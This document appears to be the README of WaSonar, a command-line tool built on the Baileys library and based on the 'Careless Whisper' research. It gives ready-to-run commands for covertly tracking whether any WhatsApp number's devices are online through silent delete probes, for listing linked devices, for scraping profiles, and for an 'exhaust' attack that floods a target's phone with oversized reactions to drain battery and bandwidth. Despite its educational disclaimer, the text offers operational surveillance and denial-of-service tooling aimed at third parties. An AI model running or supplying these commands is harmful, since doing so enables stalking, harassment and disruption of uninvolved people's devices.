WaSonar

Disclaimer: This tool is for educational purposes and security research only. The developers are not responsible for misuse. Please use responsibly and ethically.

WaSonar is a powerful CLI tool designed for educational research, device tracking, and stress testing on the WhatsApp protocol. Built on top of Baileys.

Features • Installation • Usage

Features

• Real-time Device Tracking: Detect exact online/offline status of all linked devices (Phone, Web, Desktop).
• Device Discovery: List all devices linked to a target number (Main phone + Companion devices).
• Profile Extraction: Fetch profile pictures, status/about info, and JIDs.
• Resource Exhaustion: Overwhelm devices using oversized reaction payloads (Aggressive/Slow modes).

Installation

Via NPM (Recommended)

npm install -g wasonar-cli

Via NPX (No installation required)

npx wasonar-cli <command>

From Source

git clone https://github.com/AjayAntoIsDev/wasonar.git
cd wasonar
npm install

Usage

1. Login

First, you need to authenticate with a WhatsApp account.

wasonar-cli login

Scan the QR code that appears in your terminal.

2. Device Discovery

List all devices connected to a target number.

wasonar-cli devices <target-number>

# Example:
wasonar-cli devices 919876543210

3. Online Status & RTT

The core feature. Send silent probes to detect if devices are online and measure latency.

# Probe infinite times (default)
wasonar-cli online 919876543210

# Send specific number of probes
wasonar-cli online 919876543210 --probes 5

# Save results to file
wasonar-cli online 919876543210 --output ./logs

Note: PENDING/OFFLINE means the server received the message, but the target device did not acknowledge receipt.

4. Profile Extraction

Get the user's profile picture and status.

# Display info and download profile picture
wasonar-cli profile 919876543210 --output ./profiles

5. Resource Exhaustion

⚠️ FOR EDUCATIONAL USE ONLY. Send high-frequency oversized payloads.

# Aggressive mode (Default: 250 req/s, 1KB payload)
wasonar-cli exhaust 919876543210

# Slow mode (10 req/s, 500B payload)
wasonar-cli exhaust 919876543210 --aggression slow

# Set duration
wasonar-cli exhaust 919876543210 --duration 30

Methodology

Silent Probes

WaSonar uses "Silent Delete Probes" to detect online status without alerting the target.

1. Sends a revoked (delete) message for a non-existent message ID.
2. The target device receives this "delete" request.
3. If online, the device sends a delivery_receipt (status 3) for the protocol message.
4. WaSonar captures this receipt to confirm online status and calculate RTT.

Exhaustion Attack

Based on the "Careless Whisper" research, this attack exploits the validation gap in WhatsApp's reaction handling.

Technical Details

Although reactions are not displayed on the target's phone if invalid, they are still received and processed.

• Payload Limits: WhatsApp servers allow reaction payloads up to 1 MB.
• Processing: The client attempts to process these messages before discarding them (limit ~30 bytes for valid display), consuming resources.

Impact Analysis

Research data indicates significant potential for resource exhaustion:

• Traffic Inflation: A single session can generate ~3.7 MB/s (13.3 GB/hour) of covert traffic.
• Battery Drainage: Rapid processing of these messages can drain 14-18% battery per hour on modern smartphones (tested on iPhone 13 Pro, S23) while the device is in standby.
• Denial of Service: The bandwidth consumption can lead to denial of service for other applications on the victim's device.

Citation

Based on research by Gegenhuber et al., University of Vienna & SBA Research:

@inproceedings{gegenhuber2024careless,
  title={Careless Whisper: Exploiting Silent Delivery Receipts to Monitor Users on Mobile Instant Messengers},
  author={Gegenhuber, Gabriel K. and G{\"u}nther, Maximilian and Maier, Markus and Judmayer, Aljosha and Holzbauer, Florian and Frenzel, Philipp {\'E}. and Ullrich, Johanna},
  year={2024},
  organization={University of Vienna, SBA Research}
}

Created by AjayAnto